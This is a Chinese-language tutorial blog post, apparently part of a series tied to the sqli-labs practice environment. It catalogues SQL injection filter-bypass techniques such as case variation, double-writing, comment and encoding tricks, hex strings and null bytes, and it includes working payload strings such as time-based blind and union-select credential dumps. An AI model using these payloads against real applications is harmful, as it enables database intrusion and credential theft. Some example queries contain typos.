前言
sql注入的常规注入方式,我们通过前面几篇文章也有了一定的了解。其余的关于post注入、header注入、cookie注入,其实都是常规注入方式的位置的改变,注入的思想还是一样的。那么,接下来sqli-labs的第一阶段的其余题目大家就可以参照前面几篇文章的思路讲解去尝试解题喽。。。
今天这篇文章就先总结一些常规的sql注入过滤绕过方式。。。如有补充,欢迎各位大佬留言赐教。。。
一、大小写变种绕过
这种绕过方式适用于阻塞过滤器不聪明的时候,也就说当阻塞过滤器的过滤规则只是对关键字符进行限制约束而过滤过程中并没有对关键字组成进行深入分析,而导致只是对关键字整体进行了过滤的问题。。。
例如:
Function waf($id1){
If(strstr($id1,’union’)){
Echo ‘error:illegal input’;
Return;
}
Return $id1;
}
函数解释:
Strstr(参数1,参数2,参数3):已知字符串中的一部分,获取字符串中这一部分的前面或者后面的字符串
参数1:就是从这个字符串中搜索
参数2:被搜索的字符串
参数3:boolean,默认是false,为true则返回前面字符串(不包含参数2的字符串);为false返回后面的字符串(包含参数2的字符串)
返回:字符串
这段代码就是简单的对关键字‘union’进行过滤的阻塞输入过滤器,当接收传递参数的时候回检测一下参数id中是否存在‘union’关键字,一旦发现则显示是非法输入。。。
但很遗憾的是这段代码中存在过滤不严谨的问题,这段代码只是检测了id参数中是否传递了‘union’关键字,而没有考虑strstr()函数是对大小写不敏感的。。。
这种过滤方式只是发现关键字出现,并不会对关键字进行深入的处理分析。。。
所以我们可以尝试使用大小写变种尝试绕过。。。
二.双写绕过
An and d、sel select ect、uni union on等
三.HTTP参数污染绕过
HTTP参数污染,简单地讲就是给相同名称参数附上两个或两个以上的值,导致应用程序以意外方式解释而出现漏洞,现在的HTTP标准没有体积在遇到相同参数多个赋值时因该怎样处理,因此web组件在遇到这类问题时采取的方法也不完全相同。
如以下案例: search.php?id=110&id=911 这就是典型的相同参数,多个赋值的情况,针对于这种情况,由于HTTP标准没有规定如何处理,是由Werserver来护理这个事情,但是每个Webserver处理时又不相同,针对于这种情况我们可以进行攻击。 语法:?id=1&id=2' and 1=1 --+
四.URL编码绕过
URL编码用途十分广泛,可以通过它绕过多种类型的输入过滤器
Function waf($id1){
If(strstr($id1,’ ’)||strstr($id1,’/**/’)){
Echo ‘error:illegal input’;
Return;
}
Return $id1;
}
上面的一段代码是过滤空格和/**/注释的方式,那么这个时候,如果web应用多次解码的话,URL编码就起到了作用,我们可以采用URL双编码的模式绕过过滤器的限制。。。
五.SQL注释
很多开发人员认为,将输入限制为单个就可以限制SQL注入攻击,所以他们往往就只是阻止各种空白字符。
Func waf($id1){
If(strstr($id1,’ ’)){
Echo “error:illegal input”;
Return;
}
Return $id1;
}
但内敛注释不适用空格就可以构造任意复杂的sql语句。
SQL中常使用的注释符有:
// -- /**/ # --+ -- - ; %00 --a
具体的用法如下:
U/**/NION/**/SE/**/LECT/**/username ,password from user
使用注释符将前后内容连接到一起。。。
六.绕过空格过滤
如果在尝试注入过程中,发现空格被过滤,那么可以去尝试括号是否被过滤,如果括号未被过滤,那么就可以尝试用括号进行绕过。
因为在mysql中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,多可以用括号围起来。而括号的两端可以没有多余的空格
例如:
Select(user())fromdualwhere(1=1)and(2=2)
这种过滤方式常常用于基于时间的盲注,例如:
?id=1%27and(sleep(ascii(sbustr(database()from(1)for(1)))=109))%23
(其中,from、for是属于逗号绕过)
其余的绕过空格方式:
两个空格代替一个空格;
用Tab代替空格
%0a代替空格
还有最基本的利用注释替换空格:/**/
Select table_name from information_schema.tables where table_schema=database()
Select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()
七.引号绕过(使用十六进制)
会使用引号的地方一般是在最后的where子句中。如下面的一条sql语句,这条语句就是一个简单的用来查选得到users表中所有字段的一条语句:
Select column_name from information_schema.columns where table_name=’users’
这时候,如果引号被过滤了,那么上面的子句就无法使用了。怎么解决这个问题呢?
答:当遇到这样的问题时,就要考虑用十六进制来解决处理这个问题了。。。
Users的十六进制字符串是7573657273,那么利用十六进制编码绕过后的查询语句就变成了:
Select column_name from information_schema.columns where table_name=7573657273
八.逗号绕过
在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。
对于substr()和mid()这两个方法都可以使用from to方式来尝试绕过:
Select substr(database() from 1 for 1);
Select mid(database() from 1 for 1);
使用join:
Union select1,2 等价于 union select * from(select 1)a join (select 2)b
使用like:
Select ascii(mid(user(),1,1))=80 等价于 select user() like ‘r%’
对于limit可以使用offset来绕过:
Select * from news limit 0,1 等价于 select * from news limit 1 offset 0
九.比较符号(<>)绕过
这种是过滤了<>符号,在sqlmap盲注中经常会使用到<>, 使用between的脚本
当比较符号被过滤后,我们就可以尝试使用greatest()、least()两个函数来进行绕过
Greatest():返回最大值
使用N个参数,并返回N个参数中的最大值
Greatest(value1,value2,…)
Least():返回最小值
上面两个函数的比较规则:
如果任何参数为NULL,则两个函数都将立即返回NULL,不进行任何比较
如果在INT或REAL上下文中使用函数,或者所有参数都是整数值或REAL值,那么他们将分别作为INT或REAL来比较
如果参数有数字和字符串组成,则函数将他们作为数字比较
如果至少有一个参数是非二进制(字符)字符串,则函数将参数作为非二进制字符串来比较
在所有其他情况下,函数将作为二进制字符串进行比较
同样是在使用盲注的时候,在使用二分法查找的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符,那么就需要使用greatest来尝试绕过:
Select * from users where id=1 and ascii(substr(database(),1,1))>97
等价于
Select * from users where id=1 and greatest(ascii(subatr(database(),1,1)),64)=64
使用between、and
Between a and b;
Between 1 and 1 ===> =1
十.Or and xor not绕过
And == &&
Or == ||
Xor = |
Not = !
十一.注释符号(# --+)过滤绕过
Id = 1’ union select 1,2,3 ||’1
十二.=绕过
使用like、rlike、regexp或者使用<或者>
十三.空字节
通常的输入过滤器都是在应用程序之外的代码实现的。比如入侵检测系统(IDS),这些系统一般是由原生编程语言开发而成的,比如c++,为什么空字节能起作用呢?就是因为在原生编程语言中,根据字符串起始位置到第一个出现空字节的位置来确定字符串长度,所以说空字节就有效终止了字符串。
只需要在过滤器组织的字符串前面提供一个采用URL编码的空字节即可,例如:
1.%00' union select username,password from users where username='admin' --
十四.垃圾数据绕过
在很多GET传参的网站,过滤函数对传入的内容有长度限制的时候,会导致GET传入一些垃圾数据的时候,长于过滤的长度的时候就可以实现绕过
十五.二阶SQL注入
实际上到目前为止,网上搜索大部分sql注入文章基本都可以归类为“first-order”一阶sql注入中,因为这些例子涉及的事件均发生在单个HTTP请求和响应中。。。
基本过程均是:
~攻击者在HTTP请求中提交某种经过构思的输入
~应用处理输入,导致攻击者注入的SQL查询被执行
~如果可行的话,会在应用对请求的响应中向攻击者返回查询结果。
另一种不同的SQL注入攻击是”二阶(second-order)”SQL注入 ,这种攻击的事件时序通常如下所示:
~攻击者在HTTP请求中提交某种经过构思的输入
~应用存储该输入(通常保存在数据库中)以便后面使用并响应请求
~攻击者提交第二个(不同的请求)
~为处理第二个请求,应用回检索已经存储的输入并处理它,从而导致攻击者注入的sql查询被执行
~如果可行的话,会在应用对第二个请求的响应中向攻击者返回查询结果
总结
常规的绕过过滤方式就总结到这,接下来的几篇文章我会结合上面的绕过思路来进行实战演练,根据实战效果,我们再详细的分析相关绕过的思路和效果。欢迎各位大佬,继续阅读该系列文章,多多赐教。。。